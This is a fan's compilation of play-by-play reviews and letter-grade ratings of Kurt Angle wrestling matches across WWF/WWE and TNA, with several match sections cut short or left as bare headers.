Edge gets a big boot but walks into a belly to belly for two and here’s Chris again. Here are the rolling Germans as Edge is getting the tar beaten out of him. Benoit goes a little heel by drilling Rey to keep him from making the save. Benoit goes up for the headbutt and down he comes off a big old superplex.

There’s the big tag to Rey and he cranks things WAY up. The good thing is that he’s in there against two guys that can do the same thing. He sets Benoit for a Bronco Buster but goes with a running dropkick instead. HUH-FREAKING-ZAH! Rey and Benoit crank things up ever more but Benoit gets a counter and hooks up the Crossface until Edge finally saves.

Edge vs. Angle on the floor along with Benoit and Rey in the ring. 619 is blocked by Benoit but Edge hits a missile dropkick to drive Rey onto Benoit for a long two. This is all happening at a very fast pace. Rey goes up but Angle JUMPS from the mat to the top for the HUGE belly to belly off the top for another long two. Benoit’s face is like WHAT at that.

Angle in now vs. Rey as things slow down a bit. Rey starts a bit of a comeback but gets caught in a quick suplex and crashes for two. Back to the short and crazy Canadian now. After more of a beating Rey gets a headscissors to send Benoit into the post and we get double tags to bring in Edge vs. Kurt. Edge-O-Matic gets two and everyone is back in again.

Spear in the corner to Benoit and there’s the Bronco Buster. I withdraw my former HUZZAH! Spear in the corner again to Angle and Edge sits him on the middle rope. Rey runs at Edge who throws him into the air for a big old rana. Benoit looks to save with the diving headbutt but it crushes Angle and only gets two. Angle busts out a German from nowhere for two. He shouts at Edge to go to the middle which Edge does.

In a VERY nice spot, Rey runs at Edge who belly to bellies him into Angle to take down the bald one. That’s what he gets for calling spots that loudly. Benoit saves the spear and grabs the Crossface and Edge is in trouble but he gets a rope. He won’t let go so Rey hits a 619 out of somewhere. Angle Slam takes out Rey and Angle locks on the ankle lock.

Edge kicks off and grabs a small package for two. Spear gets two as Benoit saves and Rey takes out Benoit. Rey gets a running start at Edge again and Edge catches him and gives him a very nice launch into a moonsault to take out Benoit. SICK counter out of the Edgecution by Angle into the ankle lock. Edge counters that into an ankle lock of his own but Angle is all like OH NO YOU DIDN’T and counters into an ankle lock for the tap out and the titles. Sweet goodness as Cole says he’s going to applaud them for it.

Rating: A+. OH YES. Now this is what you get when you have two teams out there that are young and moving as fast as they can to make something look awesome. Smackdown was supposed to be the wrestling show back then and it certainly was. This would be part of a series of matches that made Smackdown completely awesome around this time and it was a treat to watch.

Angle had one of the best triple threats ever at Vengeance 2003.

Smackdown World Title: Big Show vs. Kurt Angle vs. Brock Lesnar

Ok so if Show is knocked out for most of this it should be good. This was around the time where Brock was completely awesome and could do no wrong. This is no DQ also. When has a triple threat not been no DQ? Show is in the singlet and shorts now which are perfectly acceptable. Angle and Lesnar work together but Lesnar takes a chokeslam a minute in. Angle was at the point here where he could get a good match out of anyone and he’s showing why here.

Angle busts out some garbage can lids and they beat the heck out of Big Show with them. All three of these guys are just SCARY strong. They manage a double chokeslam. Ok, that was cool. And there’s an F5 to Angle. And there’s one for Show. That never ceases to amaze me, and that doesn’t happen often. Angle gets beaten down on the floor and we get Brock vs. Show. Brock looks more awesome with the elbow pads. Brock gets a running powerbomb out of the corner. WOW.

Angle comes back in and pops the tar out of Brock with a chair. Angle is getting into that zone. Oh and he’s bleeding. It’s table time and Taz makes me laugh by saying about the Spanish announcers “You would think they’d be used to it by now.” That was good. Angle Slam through the table. The announcers point out that it might have been stupid to knock him out on the floor though which is very true. Brock is bleeding now and we have him vs. Angle. This works.

Other than Benoit, Lesnar brings out the best in Angle and that’s saying a lot. After a little bit of them beating the heck out of each other, Brock locks in a body scissors and a chokeout similar to a Tazmission actually. Even Taz points that out. Show comes in for a double chokeslam and actually gets Lesnar with the left arm higher than Angle with the right arm. Since that doesn’t work, Angle comes back with Angle Slams for both and gets the pin on Brock. Very good match to close the show.

Rating: A-. I’m not big on triple threats but this was great. Brock and Angle are just freaking fun to see beat the tar out of each other since Brock could keep up with Angle on the mat and Angle could match Brock’s strength for the most part. Big Show was solid here too which made this just a great match all around. Very fun match and well worth seeing.

We better get a World Title on him. From No Mercy 2000.

WWF Title: The Rock vs. Kurt Angle

This is announced as No DQ as Kurt comes to the ring which is a new development. Stephanie distracts Rock and Angle gets a quick advantage to start. Angle gets a chair shot on the floor and Rock is in trouble. Back in the ring a Samoan Drop gets two for the champion. Angle tries to leave for some reason but Rock makes the stop. Rock throws him through the set as this is a big brawl.

Ross says that Angle is challenging for the richest prize in the Game. Is this suddenly a match taking place inside of HHH? Is the belt his pancreas or something? Stephanie chokes Rock behind the referee’s back as Ross says she’s legally breaking the rules. If it’s legal, how is she still breaking the rules? Rock gets a chair shot to his ankle. This was before the ankle lock I think.

Dragon screw leg whip sets up the Sharpshooter and he taps out as Stephanie has the referee. Angle is continuously selling the knee having it start off as a big hindrance and moving on to a slightly weaker one which is very impressive. He gets a long chinlock to kill some time but winds up on the floor and we’re back outside again.

Angle tries to get a belt shot while Stephanie gets the referee. I don’t get the whole thinking here but they’re trying at least. Angle misses the perfect moonsault and we slug it out. Rock punches the tar out of him and takes over again. Again might be a stretch but you get the idea. A spinebuster sets for the Elbow but Stephanie makes the save. Rock Bottom for her but Angle stops the elbow.

And cue HHH who destroys….Kurt. Ah there’s the Pedigree for the Rock too. That’s more like it. HHH carries Stephanie out as Angle covers for two and a big pop on the kickout. Rock gets a DDT for two as you can feel us getting to the ending. He sends Angle to the floor, walks around the ring with him and throws him back in. Even Rock can have an odd moment I guess.

Here’s Rikishi too as they continue trying to force this push down our throats no matter how hard it fails. He beats on Angle a bit as apparently he’s helping out his Samoan brethren. Rock Bottom out of nowhere but Rock can’t cover. The fat Samoan gets in and accidently nails Rock in the corner and accidently superkicks him. Both guys get Olympic Slams to give Angle his first of 9 (not 12 idiotic TNA) world titles to date.

Rating: B. This was of course solid as you would expect for these two. Angle was still kind of in over his head at this point as he hadn’t locked in that total insanity thing yet. The Rikishi interference was annoying but I get the HHH aspect at least. Amusingly enough Angle won the title once Stephanie left rather than while she was there. Solid match but their rematch in February where Rock would get the title back would be better.

So there was a pay per view five days after September 11 and Angle was in his hometown and challenging for the WWF Title. Has there ever been a more perfect set up? From Unforgiven 2001.

WWF World Title: Kurt Angle vs. Steve Austin

Angle gets the hometown boy pop and Fink milks it perfectly. “From PITTSBURGH PENNSYLVANIA!” Angle meets him on the ramp and here we go. Austin is hammered down and Angle is all fired up. The champ is all afraid to try the Stunner because either it won’t work or the kick to set it up could result in an ankle lock. Angle hits a Thesz Press and hammers away in the corner.

We head to the floor and Austin is reeling. Austin blocks a superplex but Kurt is like oh yes you are going and hits it on the second attempt. Austin grabs a sleeper but gets countered by a jawbreaker. He tries to leave with the title but Angle catches up to him and throws Austin off the ramp just like Austin did to him a few weeks ago. Angle puts him against the railing and pounds him down with punches and chops.

Kurt picks Austin up and carries him back to the ring, ramming him into the post. We’re seven minutes into this and it’s been 95% Angle. He stops to peel back the mats and Austin gets a knee to the back to take over. Piledriver on the floor doesn’t work and Austin is cut above the eye. Angle chops away and tries an Olympic piledriver but is backdropped as well.

Angle tries a suplex out there but Austin reverses and drops him onto the table. He does it again and the table is sturdy. Here’s a third try and it STILL doesn’t break. That’s a good table! Austin drives knees to the neck back inside. He talks trash to Kurt’s family in the front row which is why he’s a great heel: he knows how to get a crowd riled up which so few people today know how to do.

Off to the chinlock and I’m cool with that as they’ve been going hard for almost 15 minutes. Austin pounds on the back but gets caught in the Germans. It’s just three this time but Kurt is holding his neck. Austin tries a super belly to back but Kurt reverses into a bad looking cross body for two.

Release spinebuster puts Angle down and Austin kicks him in the little Olympians. The referee is shoved so Angle kicks Austin low to even things up. A DDT sends Austin to the floor and we’re running out of time. This has been pretty good but it’s certainly no classic. Back in Angle stuns Austin for two. Austin hits a belly to back suplex called the Angle Slam. I mean he didn’t even try to change it. A piledriver gets a close two and Austin is getting mad. He loads up the Stunner but Angle grabs the boot and the ankle lock gives Angle the title.

Rating: B. The match was certainly good but it’s not on the level I think they were hoping for. It never quite hit that level of intensity and violence and Angle’s neck injury didn’t quite live up to the amount of intensity that I think it was supposed to. Definitely good though, just not a classic.

Undertaker vs. The Rock vs. Kurt Angle

Taker wants to fight Rock but is afraid to actually do anything about it. Angle shoves both guys and wants to fight which earns him a double beatdown. Rock clotheslines him out to the floor, leaving himself all alone with Undertaker. Taker pounds Rock in the corner but Rock makes a quick comeback with right hands of his own. Angle is knocked off the apron and out to the floor but he pulls the champion out with him, sending Taker into the steps.

Intercontinental Title/European Title: Kurt Angle vs. Chris Benoit vs. Chris Jericho

Benoit jumps Angle before the bell before heading inside for a clothesline from his fellow Canadian. All three are in now and Benoit chops Jericho, only to have his belly to back suplex escaped. Benoit breaks up a springboard dropkick by Jericho before fighting with Angle on the apron. Jericho hits the previously broken up dropkick to send both guys out to the floor. He joins them immediately, only to be sent into the steps by Kurt. Back in and a belly to belly suplex gets two for Angle on Jericho.

Jericho hits a backbreaker on Angle but Benoit shoves Jericho off the top and into the announce table for good measure. Benoit covers Angle for two before suplexing him down for the same. Jericho is back in for a dropkick to his fellow Canadian but Benoit comes right back with a clothesline for two more. Jericho bulldogs Angle down but Benoit comes back with chops of his own on the other Chris. Angle suplexes Benoit down but Jericho makes the save. Very back and forth action so far.

Jericho camel clutches Benoit but has to break it up to stop a charging Kurt. Angle hits a big suplex on Jericho for two as Benoit makes another save. Benoit rolls up Jericho in the corner but Angle dropkicks his head face first into the middle buckle to break it up. Jericho loads up a double arm suplex on Angle but gets countered into a crossface chickenwing. Benoit comes back in and dropkicks Angle before sending him to the floor and into the barricade. Back in and the Swan Dive to Jericho gives Benoit the first fall and the Intercontinental Title.

Very wisely Benoit immediately covers Jericho for an attempt at the European Title but it only gets two as Kurt dives in for the save. Angle suplexes Benoit down for two but takes too long on the moonsault attempt, allowing Jericho to break it up. Jericho loads up a belly to back superplex but Benoit supelxes Chris down, allowing Angle to miss the moonsault on Benoit. All three guys are down now until Angle covers Benoit for two. Jericho gets back into it with a Walls attempt on Angle, only to have the other Chris break it up.

It gets an unseen tapout but Benoit releases, allowing Jericho to put Benoit in the Walls. Angle hits Jericho with a title belt but Benoit makes the save as the referee is awake again. Benoit suplexes Angle down again but misses the Swan Dive. Jericho slides in for the Lionsault on Benoit for the European Title to end things.

The next year later Angle had a one on one match with Benoit that had people drooling.

Kurt Angle vs. Chris Benoit

Time to open the other best show ever. From Summerslam 2002.

Kurt Angle vs. Rey Mysterio

Off to a wicked half crab on Rey but he somehow sneaks out and gets two off a rollup. Kurt takes his head off with a clothesline, only to get caught in a jawbreaker. Rey tries to speed things up but walks into the overhead belly to belly. There go the straps but Rey armdrags out of the Angle Slam and sends Angle to the floor. Rey loads up a dive but the referee stops him, drawing the most heat of the night. Mysterio will have none of that and dives OVER THE REFEREE to take Angle out.

So a dancing Samoan, a Cerebral Assassin, a beer drinking redneck, an undead biker and a brahma bull walk into Hell in a Cell. Who else could possibly survive this but Kurt Angle? From Armageddon 2000.

WWF Title: HHH vs. The Rock vs. Undertaker vs. Steve Austin vs. Rikishi vs. Kurt Angle

Angle is champion here. I remember the buildup for this and the question being who would take the huge bump. It more or less came down to Rock or HHH as Taker was too big, Rikishi was too big and Austin/Angle both had far too bad necks to take the risk. Rikishi is just so freaking worthless that it’s amazing. Angle comes out third which is kind of weird.

If I remember right Chyna made fun of his attire here as he complained about his package looking too small. Rikishi is mad at Angle for beating him up on Smackdown due to that alliance being broken. I think this is the debut of Rollin as Taker’s theme song. Rock walks straight in as Angle is staying outside for awhile. There are like 6 referees in there keeping people from fighting each other before the match starts. Austin gets a HUGE pop since we’re in the deep south. He throws Angle in and we’re on.

The match has to end in the cage. I’ll do what I can to keep track of what’s going on here but don’t count on much. Angle vs. Taker, Samoan violence and Austin vs. HHH if you’re curious. Lawler evaluates the talent in there at a billion dollars. And people wonder why the USWA went out of business. Leaping knee takes Austin down. We’re just standing around at the moment as we wait on the big thing to happen, likely involving vince. Rock beats on Angle in the ring while the other four fight on the floor.

And now there’s no one in the ring. Ok then. Ah make that Angle/Rock again. This really would have been perfect for the Chamber if it had existed at the time. They overhype everything here as it’s decent but really just a lot of punching so far. HHH gets rubbed into the cage by Austin. Lawler: Don’t rip his nose off! This really isn’t that interesting at all. A bloody HHH hits the Pedigree on Rikishi and Rock saves. I think that’s the first cover of the match.

Finishers a go-go in the ring and everyone saves. After some more basic stuff, Vince and the Stooges come down with a freaking hay truck and says he’s going to tear the cage down. There goes the door and you know what’s coming now. Foley comes down and runs the three guys off, saying the match is going to happen. HHH is outside and Austin follows him.

They fight up by the cars and everyone else comes up there too. Austin hits him with a boom camera and winds up going through a window to bust him open. Pedigree on Rock onto a car. Isn’t the point of a Cell match for the to stay in the Cell? Rock is bleeding….kind of. Ah that’s more like it. Ross oversells everything here, making it sound like it’s the best match ever or something like that. HHH takes a slingshot into a car in a cool looking spot.

Taker and Angle go back to the ring area and it’s all Taker. A chair shot busts him open as HHH and Austin climb the cage. They fight on top and HHH teases the big drop. Angle comes up too to get away from Taker. Stunner on the roof and Taker is up there now too. Rock and Rikishi are the only two not up there at this point. Angle is bleeding now and HHH climbs down to HUGE booing. Austin follows which makes sense.

And here come the Samoans. Taker gets a chair on top somehow and hits a SICK shot to Angle’s head. The fat man hits Taker though and stands tall. It’s just hard take him seriously in that thong though. Rock is on the floor as I don’t think he was ever up top. Angle gets down and it’s the two big men left. They slug it out near the edge over the truck and in the words of Mark Madden: FLY FATBOY FLY! Austin stops dead to see what the thud was, as does Rock. Austin’s face is the most interesting part here actually.

The roof goes off as Austin and Rock slug it out. You knew that was Mania right there. What we didn’t know was that it would top off the best PPV of all time. Rock actually wins the fight and sets for the elbow. Cue HHH for the save as I wonder how we never got the triple threat with these three guys. Rock Bottom to Angle but Austin saves. Stunner to Rock and we get a back flip, but HHH takes out Austin with a neckbreaker, allowing Kurt to put his hand on Rock to retain and shock everyone kind of, ending the show.

Rating: B. This was good but a far cry from the other Cell matches. Like I said, this was perfect for the Chamber but this was still a big match. The first half or so is really weak until we get to all the finishers, but even then we were waiting on it to turn into the big war. Vince and the truck did that and once that happened it really took off and was the match I think they were shooing for. It’s good but it’s not a classic. Meltzer allegedly said it was a match of the year candidate. Must have been a very weak class that year if that’s the case.

Kurt Angle vs. Samoa Joe

The Angle Slam is countered into an armdrag and Joe nails a running knee in the corner. An enziguri sets up the MuscleBuster for a close two and both guys are down. Angle rolls out of the Koquina Clutch and grabs the Slam for two. The fans want someone to make the other tap and Angle takes down the straps.

Kurt hooks the ankle lock but Joe finally rolls over and pulls Kurt down into the Clutch. Angle counters that into the ankle lock and Joe is in trouble. He rolls through to send Angle into the corner but misses a charge, setting up the Slam. Angle does a favorite of mine by putting the straps back up so he can take them down agani, setting up the ankle lock with a grapevine to make Joe tap out.

We need more Benoit! From Backlash 2001.

Chris Benoit vs. Kurt Angle

30 minute time limit, most submissions win. Angle says Chicago is full of fat sweaty pigs and needs winners. He makes fun of the city which is kind of funny. There’s a thirty second rest period between falls. After some feeling out stuff to start, Angle takes it to the mat and Benoit is all cool with that. Ankle lock doesn’t work so Kurt hits the floor to think for a bit.

This is going to be a long one as the clock is on the screen the entire time. Back in the ring and Angle takes Benoit down which gets him nowhere. Back to the mat again and this time to the floor. Benoit gets the Crossface out there and Angle taps but they’re outside so it doesn’t count. Five minutes in and no falls yet. Angle tries to bring in a chair as we stall a bit. With half an hour I can understand that though.

Back in and Angle is holding his shoulder a lot. And never mind as he was faking since he charges straight in and grabs the ankle lock for the quick tap. You could argue Benoit tapped early to prevent further damage but it still looks kind of weak by Benoit. Angle works on the ankle/knee but charges into a Crossface attempt. That doesn’t work so Benoit shifts to a cross armbreaker to tie us up.

Benoit rams Angle’s shoulder into the post and there’s the armbreaker again but Kurt leans forward to avoid a lot of the pressure before making the rope. Shoulder breaker by Benoit and he goes after Kurt, only to take out the referee at the ten minute mark. Angle gets a chair shot to the head and the ankle lock makes it 2-1. Angle jumps him during the rest period and you can’t really DQ him I guess.

Angle puts on a Crossface seconds later to make it 3-1. Maybe 10 seconds between the end of the rest period and the tap. Kurt hammers him some more and rams his face into the announce table. Benoit backdrops Angle to the floor but doesn’t take the time to breathe. Kurt’s shoulder goes into the post but Benoit’s everything goes into the steps. Ankle lock goes on but it’s still on the floor, meaning Benoit tapping doesn’t mean anything.

We go back in with fifteen minutes left and a 3-1 lead for Kurt. Benoit avoids a cross armbreaker by Kurt which wastes some time. Off to an abdominal stretch which Benoit counters into another cross armbreaker attempt but he can’t get the tap. Out of almost nowhere Benoit gets a Sharpshooter, only for Kurt to make the ropes again. A German is countered into a half Liontamer by Benoit (he used it before Jericho in WCW) for the tap to make it 3-2.

Kurt heads to the floor and it’s time to play defense. Benoit catches him pretty easily and sends him into the steps. Kurt tries to run again and the fans aren’t thrilled at all. With ten minutes to go Angle catches Benoit coming in and they slug it out a bit. Benoit can’t get back in for a bit and Kurt stomps him when he does. Angle hits a snap suplex back inside and keeps trying for the ankle lock.

Out to the floor again and they chop it out. Back in and Benoit gets a dragon screw but can’t hook the ankle. Benoit misses a dropkick and Angle locks in some freaky looking hold before going to a chinlock. Five minutes left as Benoit gets his arm up before a third drop. With four minutes left Benoit breaks the hold with a jawbreaker. And never mind as Kurt takes his head off with a clothesline.

Belly to belly by Kurt which is scary considering how long they’ve been out there. Another hits with three minutes left. Benoit manages to grab some Germans but gets reversed into an ankle lock which he reverses into an ankle lock of his own to tie it up at 3 with just over two minutes to go. The clock keeps running during the thirty second rest. Chop block by Benoit with 1:20 to go. Minute left and it’s German time again. Low blow by Kurt breaks that up but the ankle lock is broken quickly. Ankle lock goes on fill with 8 seconds left and we’re done. Benoit taps after the bell ends in a draw.

Just like in 96 though with Shawn and Bret, it’s time for some overtime, first submission wins it. If it continued though, why wouldn’t the tap just after the bell have ended it? Angle hammers him and the fans aren’t thrilled with him. They go to the mat and Angle grabs an abdominal stretch down there. There’s a Crossface out of nowhere and Angle taps for the ending. Like Benoit was losing in sudden death.

Rating: B. It was entertaining, but the main idea of Benoit vs. Angle is all about having them go back and forth with insane counters until one of them finally gets caught in something. That was taken away here and it brings the match down a lot. To be fair it’s still good but by comparison it’s definitely not as good.

Time for a war. From King of the Ring 2001.

Shane McMahon vs. Kurt Angle

It should be noted that this is one of my favorite matches ever so I’ll be biased in it. Wait, they’re my reviews so I’m biased towards myself, so it’s fine. Angle throws his medals down on the way to the ring so you know this is serious. Again, JR says that after I typed it so I win again. Angle is just beating the heck out of Shane to start here. And just as I say that Shane starts throwing lefts and fights back.

With Shane on the floor, Angle gets on all fours and wants to go amateur, which is more popular that pro in certain areas other than wrestling. Naturally Angle easily gets out and beats on Shane even more. In a nice looking move, Angle hits a gutwrench but it’s overhead instead of to the side. It looked cool. Angle is just throwing Shane everywhere. It looks like a squash but don’t worry. It’ll get better. Shane has had three punches and an armdrag.

He offers Shane another amateur attempt but this time Shane just punts him in the ribs. That’s followed by a jumping back elbow making him awesome. On the floor now, Shane gets on the railing behind JR and Heyman and jumps over both them and the table to hit Kurt with a clothesline in a sweet spot. The guy was athletic and no one can ever argue that.

It’s certainly more entertaining than seeing Vince out there making a fool out of himself. And we have a kendo stick which Shane can swing really well. He actually breaks it over Angle’s back which has to hurt bad. Shane uses armdrags on the floor to send Angle into the railing which is a nice spot. Shane goes for a cover and Angle bridges out of it. Think of the Matrix move.

Shane does the smart thing and just hits him in the stomach. Angle does this three times, showing off his stupidity. It’s weapons time now and Shane is dominating. Ankle lock by Shane and Kurt just kicks him in the face. Nothing wrong with that. We get a Sharpshooter attempt and Shane botches it but gets it eventually. It looks bad but it’s ok I guess. Granted almost no one gets it right so it’s fine.

Shane is just beating the tar out of Angle here. He puts a trash can on his stomach and goes to the top for a shooting star press which misses but looked solid. The fans get a holy censored chant going as they’re impressed here. We hit the floor again and Shane hits a suplex, which breaks Kurt’s tailbone. He’s legit hurt which makes the rest of the match even more impressive. His solution to Shane fighting back: slam Shane’s head into a wall. I like the simple ideas.

In the sickest bump you’ll see in years, Angle suplexes Shane over his head into one of the glass walls with KOR (what, no love for the?) on them. The problem is that it doesn’t break and Shane lands on his head which goes THUD. It sounded and looked SICK. Shane is more or less out of it.

Angle, ticked off that it didn’t work, picks him up and does it AGAIN, this time having it work, drawing another holy censored chant. Angle’s arm is bleeding. We’re under the stage now and Angle suplexes him again and AGAIN it doesn’t break. Shane is busted. Angle goes for another suplex and it doesn’t break. In essence, Shane is being thrown into a wall. Kurt is livid and just picks him up and launches him through a glass wall.

Shane looks like he’s been beaten by an army and raped by a bear while being run over by a train. Angle is spent too. Everyone is just bleeding like something that bleeds a lot. Angle gets an anvil case and puts Shane on it to wheel him back to the ring. That’s a good idea as he’s just dead weight at this point. We’re back in the ring and Angle covers Shane. For two. The place pops like a freaking teenage girl for that. We get a replay where we can see Kurt’s face and he looks like he wants to cry.

A low blow connects and Shane isn’t dead yet. He gets a trash can lid and just pops the tar out of Angle and hits an Olympic Slam for two. Both guys are just freaking spent. Shane gets catapulted into the corner where he just kind of collapses. Angle gets a board from somewhere and just beats Shane about the back and shoulder with it. There’s something awesome about that.

He sets it up on the copes and climbs to the top where he this the Olympic Slam from the top rope. I would say Shane lands in the middle of the ring with a thud, but as they said in Con Air, “the word ain’t land. It’s crash.” They show a bunch a replays and the slam looks cooler and cooler ever time. I mean Shane just explodes on the mat and it looks amazing. Shane’s best match ever by about 1000 miles. They carry him out and he’s just gone. The Slam off the top got the pin if that wasn’t clear.

Rating: A. This was just freaking brutal. It’s a great street fight where you never really believed Shane was completely out of it. That’s a great thing to be able to say, but Shane took the best beating I can recall anyone taking in a long time. Find a copy of this match as it’s right up there with any beating I’ve ever seen.

Back to TNA for a showdown at Lockdown 2010.


Kurt Angle vs. Ken Anderson

This is standard rules but Anderson has the key. Not sure I get the point to that aspect as it’s bound be thrown around sometime. Also, I’d prefer a regular cage match but this is fine I suppose. Anderson has the key around his neck. Ok he has a chain around his neck with the key around it but you get the idea. Anderson goes for the door like 30 seconds in and like an idiot, he forgets about Angle.

Anderson accidentally leaves the key in the lock so there goes the point of the ladder match entirely. Angle is bleeding BAD already. Tenay says it was bound to happen at some point. At some point? I think every match has had that so far. This is one of the feuds that I’ve really liked for the majority of it. Angle is WORKING in there man. He’s still one of the best in the world when he works at it.

There is blood everywhere. Ok not really but it sounds good. Angle hits his run up the ropes and hit a belly to belly. Love that. Anderson uses his wrist tape to choke Angle out which is rather brilliant. Solid match so far. Angle gets his Germans. He hits about 6 or 7 of them and Anderson is just about out of it.

Angle goes for the door but stops. Dang it Kurt don’t be stupid. Ankle Lock is on but you can’t win by tap out. And there’s the Mic Check. Yeah I’m stunned too. Anderson gets the lock open but Angle gets the Slam. And Angle locks the cage again. Ok then. And he throws the key away. Anderson freaks, even though there’s no roof on the cage.

Anderson tries to get out but Angle gets a German OFF THE TOP ROPE! SICK spot. Angle sets him for the moonsault but goes TO THE TOP OF THE CAGE! And he hits it. Yeah Angle still has it. Angle gets a key from….somewhere, but Anderson flips the double bird and is able to get a Mic Check.

We’re getting close to overkill here. Angle catches him with the ankle lock though and Anderson taps again. I smell a broken ankle. Anderson reverses but STILL can’t get out. Angel finds a chain or the Warrior Medal and chokes Anderson out with it in a reference to Anderson choking him out in the ladder match on Impact before walking out. GREAT match.

Rating: A+. Yeah I said it. Great match all around and the ending made sense given the way Anderson won the ladder match. This has been a great show and it needed a great match to get it over the hump. It just got that. Angle is still one of the best in the world and he can bring it.

Smackdown World Title: Brock Lesnar vs. Kurt Angle

Angle is champion coming in. This is an iron man match with a sixty minute time limit. There’s a 15 second rest period after each fall. The challenger is the heel. Lesnar jumps him to start and we have a big old clock in the corner. Brock beats him down to start but Angle fires back with some clotheslines. Angle gets a shot to the knee and Brock chills on the floor.

He stays out there until about 8 and the knee isn’t right. Brock asks for time but he was just channeling his inner Bret Hart as he plays possum. Angle doesn’t mind and hits a set of armdrags to send Brock out to the floor. Lesnar grabs the steps but tosses them back instead of using them. He slides in at 9 and goes right back out to break the count. Well it’s not like they don’t have a lot of time to kill.

Brock breaks the count again and make it three times. Four times now. Angle is getting ticked which might be Lesnar’s plan. We’re five minutes into the clock now and we haven’t really gotten anything going but they have plenty of time. Angle goes for the knee and Brock hits the floor AGAIN. Angle charges at him and Brock nails him to finally take over. Angle snaps off a suplex and clotheslines Brock to the floor where he holds the knee again.

Lesnar is down and holding the knee but this time Angle goes after him. He rams Brock into the steps head first and they slug it out. Brock gets the better of that and rams Kurt into the post back first. He goes to grab a chair and pops Angle in the head with it for a DQ at about nine minutes. Brock lays Angle out with the chair a bunch of times but it’s in the rest period so it doesn’t count.

Brock grabs some water at ringside. Does that mean there’s a conspiracy against him? Angle is barely able to stand so Brock drills him with an F5 to tie it up at 49:38 to go. Brock kicks him in the ribs and asks Angle if he wants to tap. Lesnar puts the ankle lock on Kurt and he taps to make it 2-1 at 47:21. We take a break and come back at 44 minutes left with Lesnar breaking an Angle rally with a knee to the ribs.

During the break Brock hit an Angle Slam for two. Brock charges but his shoulder goes into the post. Angle gets a forearm smash and it’s German time. Angle comes at Brock but gets sent back outside. Brock whips him into the railing HARD and this an F5 on the floor for the countout to go up 3-1 at 20 minutes in.

We take a break and come back with Angle in control after hitting some suplexes during the break. Lesnar knocks Kurt to the floor with an elbow and takes over soon thereafter. We’re at 35 minutes left now as Brock gets two off an elbow drop. Angle reverses an Irish whip into the Angle Slam and it’s 3-2 at 34 minutes to go. We’re told that if this goes to a tie we’ll have overtime.

Kurt pounds away but the Angle Slam is countered into an F5 attempt which is countered into the ankle lock. Brock rolls through and Angle manages to avoid the referee. Brock however drills him in the head with a clothesline so when Angle hits the Angle Slam, there’s no referee. Brock hits Angle low and grabs the title. A shot to the head of Angle puts him down and the referee wakes up to make it 4-2 Brock at 29:30 to go.

We take a break and come back with Angle on the floor with 25 minutes to go. Angle pulls him to the floor and hammers away, sending Brock into the steps. With Brock on the outside, Angle goes back in and up top to hit a double axe to Brock’s back. That only gets two back inside though. Kurt goes up again and hits the missile dropkick for a close two. The moonsault that hits once a decade doesn’t hit here and both guys are down.

Angle grabs a rollup for two so Brock takes his head off with a clothesline. Brock gets all ticked off and throws Angle over his head without leaving his own feet. Well that was awesome. It only gets two though and both guys are down. Kurt reverses another belly to belly into the ankle lock but Brock rolls through to send Angle to the floor. Angle goes into the steps again and back to the ring we go.

That only gets two in the ring as we have 20 minutes left with with score 4-2 Brock. Lesnar unhinges some steps but Angle hits a baseball slide to send them into Brock’s face. Kurt looks like his shoulder is hurt from going into the steps. Angle gets an elbow for two as we take a break. Back and it’s 5-2 as Brock hit a superplex for a fall during the break.

We have 14 minuets to go and it’s 5-2 Brock. Brock takes him outside and tries to F5 Angle into the post but Angle reverses to give Brock an F5 into the post with the bad knee hitting the steel. Back inside and Angle throws on a half crab which is very smart. Brock makes the ropes so Angle throws on the ankle lock. Lesnar STILL doesn’t tap so Kurt stomps away at the leg/ankle.

Kurt charges in at Brock but gets caught in an F5. Brock can’t counter though and can only get a delayed two. Lesnar goes up top but Angle pops up for the running belly to belly and it’s 5-3 with 9:50 to go. Angle wins a slugout and pounds Brock down in the corner. Angle puts the straps back up which is a new one for him. He tries to load up the Angle Slam but Brock grabs a DDT for two.

Kurt misses a right hand and Lesnar hits a German. Make that two Germans. Would you believe three Germans? He tries a fourth (there has been a lot of laying around between them so about 90 seconds passed for all those Germans) but Angle counters into two Germans of his own. Angle rolls through something into the ankle lock and in more or less the same ending at Summerslam, Brock can’t find a rope and taps with 4:11 to go.

Four minutes left and both guys are down. Brock still leads 5-4. They’re still down with 3:30 left. Kurt grabs the hold again but Brock rolls through to escape. They’re both down again but Kurt is up and stomping away with three minutes left. Bow and arrow hold, which is like a side version of the STF, goes on to eat up some time. Brock wisely heads to the floor with two minutes left.

Smart strategy there as Lesnar only has to play defense and run the clock out to win the title. Kurt puts the ankle lock on Brock outside but back inside we go. Brock runs again so Kurt rams him into the steps. Angle hits some rolling Germans back in the ring and we hit a minute to go. He hits four Germans but this is taking way too long. Brock kicks him low with 30 seconds left but it’s not seen. Ankle lock with the grapevine is on with 15 seconds left but Lesnar hangs on to win the title and end the show.

Rating: B. This match runs into the exact same problem that is more or less unavoidable for these matches: you can more or less skip the first 55 minutes and you still see the exciting parts. An hour is too long, even when the guys are having an entertaining match. This was good, but like I said the vast majority of it is just waiting for Angle to make his big comeback. However it does fly by as taking out commercials it runs about 46-48 minutes. Good match, but not a good idea for TV.

Time for some Shawn Michaels, from Wrestlemania XXI.

Shawn Michaels vs. Kurt Angle

Off to a short arm scissors by Shawn for a bit but Angle uses raw power to lift Shawn up into the air. However, since Shawn had that move used on him back in 1992 by British Bulldog, he knows how to roll through into a sunset flip for two. See, THAT is how you play to older fans with some awesome psychology. Back to the headlock as Angle is getting frustrated by Michaels dominating the mat.

Angle takes it into the corner to brawl with Shawn but Shawn ties him up instead. This is also a callback to Wrestlemania XII where Shawn used the exact same strategy on Bret. Angle grabs a quick ankle lock but Shawn rolls through and a Cactus Clothesline puts them both on the floor. Angle loads up the announce table but opts to pick up Shawn in the Angle Slam and ram Shawn back first into the post to take over again.

Angle had to win the TNA Title at some point so why not Slammiversary 2007?

TNA World Title: Chris Harris vs. Kurt Angle vs. AJ Styles vs. Samoa Joe vs. Christian Cage

Joe and Christian go up the ladder with the Samoan taking him down with a huge Diamond Cutter onto the title. Harris goes up the ladder instead but he has to knock Joe down with a belt shot. The same thing happens to Christian but AJ springboard dropkicks the ladder over for the save. Angle is out of the box. Joe and AJ climb on top of the box (just above the top rope) with AJ low blowing out of the Clutch. Joe flips AJ over and through a table on the floor for a HUGE crash.

One more World Title, from Hardcore Justice 2011.

TNA World Title: Sting vs. Kurt Angle

Angle did something that had never been done before. From King of the Ring 2002.


Kurt Angle vs. Hulk Hogan

